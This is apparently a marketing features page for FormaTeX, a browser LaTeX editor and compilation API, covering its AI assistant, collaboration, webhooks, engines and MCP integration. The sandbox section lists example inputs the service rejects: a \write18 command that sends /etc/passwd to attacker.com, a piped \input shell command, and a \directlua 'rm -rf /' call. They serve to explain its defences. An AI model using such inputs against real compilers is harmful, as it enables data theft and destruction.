FormaTeX

\features{FormaTeX}

Everything you need. Nothing you don't.

Browser editor, AI assistant, real-time collaboration, REST API, four LaTeX engines, MCP integration — every feature built for developers and writers who need LaTeX without the infrastructure work.

\section{Platform}

\feature{editor}

01

Browser-Based LaTeX Editor

NEW

A full IDE. In the browser. No installation.

FormaTeX ships a complete LaTeX development environment that runs entirely in the browser. CodeMirror 6 with LaTeX syntax highlighting, a resizable split-pane PDF preview, a project file explorer, outline panel, symbols list, minimap, and a full compilation log with parsed error list. Upload images, .bib files, and custom class files. Autosave triggers every 1500ms — closing the tab loses nothing.

\begin{preview}

main.tex — FormaTeX Editor
⌘↵ Compile

Explorer

main.tex
refs.bib
fig1.png
\documentclass{article}
\usepackage{amsmath}
\usepackage{graphicx}
 
\begin{document}
\section{Introduction}
This paper presents...

PDF Preview

Compiled in 312ms·12 pages · 284 KBAutosaved

\subsection{Key capabilities}

  • Split-pane: LaTeX source left, live PDF preview right — drag to resize
  • File explorer with folder support (.tex, .bib, .cls, .sty, images)
  • Outline panel extracts section headings from source automatically
  • Full compilation log + Problems panel with parsed error and warning list
  • Keyboard shortcuts, word count, minimap — all configurable

\feature{ai}

02

AI Assistant

NEW

Fix, explain, generate, and chat — with full project context.

Four AI modes built into the editor. Fix analyzes your error log and produces corrected LaTeX. Explain translates compiler errors into plain English. Generate writes LaTeX from a plain-text prompt. Chat gives you a conversational assistant with access to every file in your project. The AI sees your actual source — not a snippet you paste in.

\begin{preview}

Fix
Explain
Generate

! Error on line 47

Undefined control sequence \mathrm

AI Fix Suggestion
96%

Add \usepackage{amsmath} to your preamble. \mathrm is defined there.

+ \usepackage{amsmath}

Apply fix
Explain144 requests remaining

\subsection{Key capabilities}

  • Fix: error log in → corrected LaTeX out, with diff highlighting
  • Explain: cryptic compiler errors translated into plain English
  • Generate: describe what you need, receive compilable LaTeX back
  • Chat: full project context injected automatically — ask anything
  • Usage metered per plan: 5 req/mo (Free) → 5,000 req/mo (Enterprise)

\feature{collaboration}

03

Real-Time Collaboration

NEW

Multiple people. One document. Live.

WebSocket-based real-time collaboration shipped in February 2026. Invite collaborators by email, assign Editor or Viewer roles, and see live presence indicators with colored avatars derived deterministically from each user's UUID. Viewers are restricted server-side — they cannot broadcast edit events regardless of client state. Opening the same project in two tabs evicts the older connection automatically.

\begin{preview}

SK
AM
ME
3 people editing
Live
Sarah K.
Alex M.
Sarah K.· Editor
Alex M.· Viewer
You· Editor

\subsection{Key capabilities}

  • Invite by email — Editor or Viewer role per collaborator
  • Live presence: colored avatars consistent across sessions
  • Viewer restriction enforced server-side, not just in the UI
  • Duplicate-tab eviction: older connection automatically closed
  • 3 / 6 / 15 collaborators per project (Pro / Max / Enterprise)

\feature{projects}

04

Projects & File History

Persistent multi-file workspaces with full edit history.

Projects are named, color-coded workspaces that persist all your files server-side. Create a project once, add .tex source, .bib references, images, and custom class files — all available across sessions and compilations. Every save and deletion is recorded as a snapshot in File History: a git-log-style timeline showing what changed, when, and who made each edit.

\begin{preview}

Projects

IEEE Paper 2026

8 filesmain
2h ago

PhD Thesis — Ch.4

24 filesdraft
1d ago

CV / Resume

3 filesmain
3d ago

3 of 5 projects · Free plan

File History

IEEE Paper 2026

Today · 3 changes

SK

sections/intro.tex

Edit14:23
ME

refs.bib

Edit14:19
AM

fig1.png

Delete13:54

\subsection{Key capabilities}

  • Named projects with color coding — up to 5 (Free) to 999 (Enterprise)
  • 3 to 100 files per project depending on plan
  • Compile any project directly via API using project_id
  • File History: every save snapshot-diffed, grouped by date, collaborator-attributed
  • Export full project as ZIP at any time from the editor
  • GitHub sync: bidirectional push/pull with GitHub repositories (Max and Enterprise)

\feature{templates}

05

Templates & Variable Substitution

Send JSON. Get PDF. No LaTeX knowledge required.

Define a LaTeX document once as a template, mark dynamic values with {{variable}} placeholders, and expose a compile endpoint that accepts plain JSON. Your callers never touch LaTeX — they POST a JSON object with variable values and receive a PDF. Templates support uploaded assets (logos, .bib, .cls files), forking for new variants, and are callable with any API key.

\begin{preview}

Variables

client_name*
Acme Corp
amount*
$12,500.00
due_date
March 15, 2026
invoice_no*
INV-2026-0042
POST /compile
PDF
INVOICE
$12,500.00
invoice.pdf

\subsection{Key capabilities}

  • {{placeholder}} variable schema with type definitions and default values
  • POST variables as JSON → receive a compiled PDF directly
  • Upload template assets: logos, bibliography files, class files
  • Fork any existing template as a starting point for a new variant
  • 0 private templates (Free) → 25 (Max) → 999 (Enterprise)

\feature{webhooks}

06

Webhooks

Your server gets notified the moment a job completes.

Register a URL and subscribe to compilation, quota, and plan events. FormaTeX delivers a signed POST to your endpoint on every event. Every delivery is HMAC-SHA256 signed with your webhook secret — verify the X-FormaTeX-Signature header before processing. Failed deliveries are automatically retried up to 5 times with exponential backoff. The dashboard shows per-webhook success rates, full delivery history with attempt numbers, and a test-fire button.

\begin{preview}

https://api.yourapp.com/webhooks/latex
HMAC verified
Success rate75%
3 of 4 succeeded·
Retry on failure
Recent deliveries4 events
compilation.success87ms
200
compilation.failed91ms
500
quota.warning103ms
200
plan.changed76ms
200
X-FormaTeX-Signature: sha256=a3f9b2e17c…

\subsection{Key capabilities}

  • 5 event types: compilation.success, compilation.failed, quota.warning, quota.exceeded, plan.changed
  • HMAC-SHA256 signature on every delivery — verify with your secret
  • Automatic retry with exponential backoff (up to 5 attempts)
  • Per-webhook delivery history with HTTP status and attempt number
  • Available on Max and Enterprise plans

\feature{github}

07

GitHub Integration

NEW

Push your project to GitHub. Pull from any repo.

Link any FormaTeX project to a GitHub repository and keep them in sync. Push your LaTeX source, .bib files, and assets to a branch with one click — or trigger a push automatically after every successful compilation. Pull changes from GitHub to restore a previous version or onboard a new collaborator's fork. Works with public and private repositories. Available on Max and Enterprise plans.

\begin{preview}

acme-org / thesis-2026
main
connected
Changed files4 files
Mmain.tex
Msections/intro.tex
Arefs.bib
Afig/diagram.pdf
Commit message
chore: update figures and bibliography
Push
a3f9b2e
Auto-push after every successful compile
Pull
from
feature/new-chapter

\subsection{Key capabilities}

  • Connect any project to a public or private GitHub repository
  • Push on demand or automatically after every successful compile
  • Pull from any branch — restore, fork, or onboard from existing repos
  • Full file tree synced: .tex, .bib, .cls, .sty, images, and assets
  • Available on Max and Enterprise plans

\feature{overleaf-import}

13

Overleaf Project Import

NEW

Bring your existing projects over in one click.

Already on Overleaf? Export your project as a zip (Menu → Download → Source) and drop it into FormaTeX. Your full file tree — .tex source, .bib references, images, custom class files, subdirectories — is extracted, scanned, and saved as a new project automatically. The root .tex file is detected and opened immediately. No manual file copying, no reformatting, no friction.

\begin{example}

overleaf-import.sh
# 1. Export from Overleaf
#    Menu → Download → Source  →  my-thesis.zip

# 2. Import via the Projects dashboard
#    Click "Import from Overleaf" → drop the zip → done

# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
  -H "Authorization: Bearer <jwt>" \
  -F "file=@my-thesis.zip"

# Response
{
  "project": {
    "id":   "proj_7f2a...",
    "name": "my-thesis",
    "color": "amber"
  },
  "main_file": "main.tex"
}

\subsection{Key capabilities}

  • Drag-and-drop zip upload from the Projects dashboard
  • Full folder structure preserved — chapters/, figures/, and all subdirectories
  • Auto-detects main.tex or any root file containing \documentclass
  • Images, .bib, .cls, .sty, fonts — all file types extracted in one shot
  • Project is named from your zip filename automatically

\section{API & Compilation}

\feature{rest-api}

08

Zero-Config REST API

Send LaTeX. Get PDF. One endpoint.

The entire FormaTeX compilation surface is a single POST endpoint. No SDK required, no authentication ceremony. Send JSON containing your LaTeX source and engine preference, receive a binary PDF in the response body. Every response includes compilation timing, engine used, and your remaining quota in the headers. Works identically from curl, JavaScript, Python, Go, or any HTTP client.

\begin{example}

compile.sh
curl -X POST https://api.formatex.io/api/v1/compile \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{
    "latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
    "engine": "pdflatex"
  }' \
  --output document.pdf

# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500

\subsection{Key capabilities}

  • No SDK required — any HTTP client works in any language
  • Binary PDF returned directly in the response body
  • Compiler log included in 422 error responses for debugging
  • X-Compile-Duration-Ms, X-Engine, X-Compilations-Used on every response

\feature{engines}

09

Four LaTeX Engines

The right tool for every document type.

pdfLaTeX for maximum speed and package compatibility. XeLaTeX for system fonts (TTF/OTF) and Unicode. LuaLaTeX for Lua scripting and programmatic content generation. latexmk for automatic multi-pass compilation — bibliography, TOC, cross-references, all resolved in a single request. Select per-request with a single JSON parameter. All engines run the same pinned TeX Live 2024 distribution.

\begin{preview}

pdflatex
All plans

Standard. Fastest. Best compatibility.

Speed~80ms

DVI → PDF · Type 1 fonts · Widest package support

xelatex
Pro+

System fonts. Unicode natively.

Speed~190ms

TTF / OTF · Right-to-left text · OpenType features

lualatex
Pro+

Full Lua scripting inside LaTeX.

Speed~320ms

Programmatic content · Most powerful · Slowest

latexmk
Pro+

Auto multi-pass. Resolves everything.

Speedmulti-pass

Bibliography · TOC · Cross-references · Auto-retry

\subsection{Key capabilities}

  • Switch engines per-request — no account changes, no reconfiguration
  • XeLaTeX & LuaLaTeX: native Arabic, Hebrew, and RTL support via bidi/polyglossia
  • latexmk auto-detects required passes for full reference resolution
  • All engines run pinned TeX Live 2024 — reproducible output forever
  • pdfLaTeX is the default — fastest for most workloads (~80–200ms)

\subsection{Deep dive}

Engine deep-dives

\feature{async}

10

Async, Stream & Smart Compile

Blocking, background, live-streamed, or intelligent. Pick your mode.

Four compilation modes for every use case. Sync returns the PDF immediately in the response — zero setup. Async enqueues the job and returns a job ID in under 10ms — no connection held open, ideal for batch pipelines. Stream delivers log output line-by-line via SSE as the engine runs — perfect for live progress UIs. Smart compile reads your document preamble, selects the right engine automatically, and retries on transient failure.

\begin{preview}

sync

Blocking · PDF in response

POST /compile
compiling…88ms
← PDF (284 KB)

PDF returned in response body — one round-trip

async

Non-blocking · Poll for result

POST /compile/async
← { jobId: "b3f2a…"}
queued
processing
completed
GET /jobs/:id/pdf ✓

Connection released instantly — poll when ready

stream

SSE · Live log output

POST /compile/stream
SSE · text/event-stream

[1/1] pdflatex -no-shell-escape main.tex

This is pdfTeX, Version 3.141592653

Output written on main.pdf (12 pages)

Compiled in 312ms ✓

Build a real-time terminal in your UI

smart

Auto-detect · Retry on failure

POST /compile/smart

Preamble analysis

\documentclass{article}pdflatex
\usepackage[fontspec]{...}xelatex
\directlua{...}lualatex
← auto-selected · retry on failure

No engine config needed — just send your LaTeX

\subsection{Key capabilities}

  • Sync: PDF in response body — one round-trip, zero polling
  • Async: job ID returned instantly, poll GET /jobs/{id} for result
  • Stream: live SSE log output — build a real-time terminal in your UI
  • Smart: auto-selects engine from preamble, retries on transient failure
  • Async jobs auto-expire after 10 minutes with full file cleanup

\feature{security}

11

Production Sandbox

LaTeX is powerful and dangerous. We contain it.

Every compilation runs in an isolated execution context with -no-shell-escape enforced, restricted file I/O (openout_any=p, openin_any=p), and no outbound network access. Input sanitization blocks 18+ known attack vectors before the engine starts. LaTeX source is never written to logs. Compilation files are deleted from disk immediately after processing. Project files you choose to save are stored securely in your account.

\begin{example}

security-model
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}

// Valid input compiles normally:
POST /api/v1/compile
{
  "latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
  "engine": "pdflatex"
}

// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]

\subsection{Key capabilities}

  • -no-shell-escape on all engines — system commands impossible
  • 18+ dangerous commands blocked: \write18, \directlua, pipe inputs
  • Null byte detection and per-plan size limits enforced at ingress
  • Compilation files deleted immediately after processing

\subsection{Deep dive}

Full security model

\section{Integrations}

\feature{mcp}

12

MCP Integration

Your AI agent compiles LaTeX natively.

FormaTeX ships a first-class MCP server. Add it to Claude Code, Cursor, Windsurf, or any MCP-compatible client and your AI gains direct access to a full LaTeX compilation stack. Compile documents, fill templates with variables, validate syntax, or list available engines — all from within an AI conversation. No terminal switching, no file copying, no context breaks.

\begin{example}

mcp-config.json
// claude_desktop_config.json  (or .claude/claude_code_config.json)
{
  "mcpServers": {
    "formatex": {
      "command": "formatex-mcp",
      "env": {
        "FORMATEX_API_KEY": "fex_a8k2mP9..."
      }
    }
  }
}

// Claude can now:
// "Compile this document with XeLaTeX and show me the PDF"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"

\subsection{Key capabilities}

  • 9 MCP tools: compile_smart, compile_latex, compile_async, get_job, compile_template, list_templates, check_syntax, list_engines, get_usage
  • compile_template fills your saved templates directly from an AI chat
  • Works with Claude Code, Cursor, VS Code, Windsurf, Cline, and any MCP client
  • stdio or HTTP transport — local server or remote connection

\subsection{Deep dive}

MCP setup guide

\listfeatures{all}

All features at a glance

Browser LaTeX editor
AI Fix / Explain / Chat
Real-time collaboration
Persistent projects
Template variable API
Signed webhooks
Per-file history & diffs
Sub-200ms compile
4 LaTeX engines
Async / Stream / Smart
Sandboxed execution
API key management
Usage analytics
MCP / AI agent tools
Ephemeral compile artifacts
DOCX export (Pandoc)
GitHub sync
Overleaf import
Arabic & RTL support

\begin{document}

One platform. Free to start.

Editor, API, AI, and collaboration on every plan.
No credit card required. Start in 30 seconds.

One quick thing

We track anonymous usage — page views, feature usage, compilation events — to understand what works and what doesn't. No ads, no personal data, no third-party sharing.

Cookie policy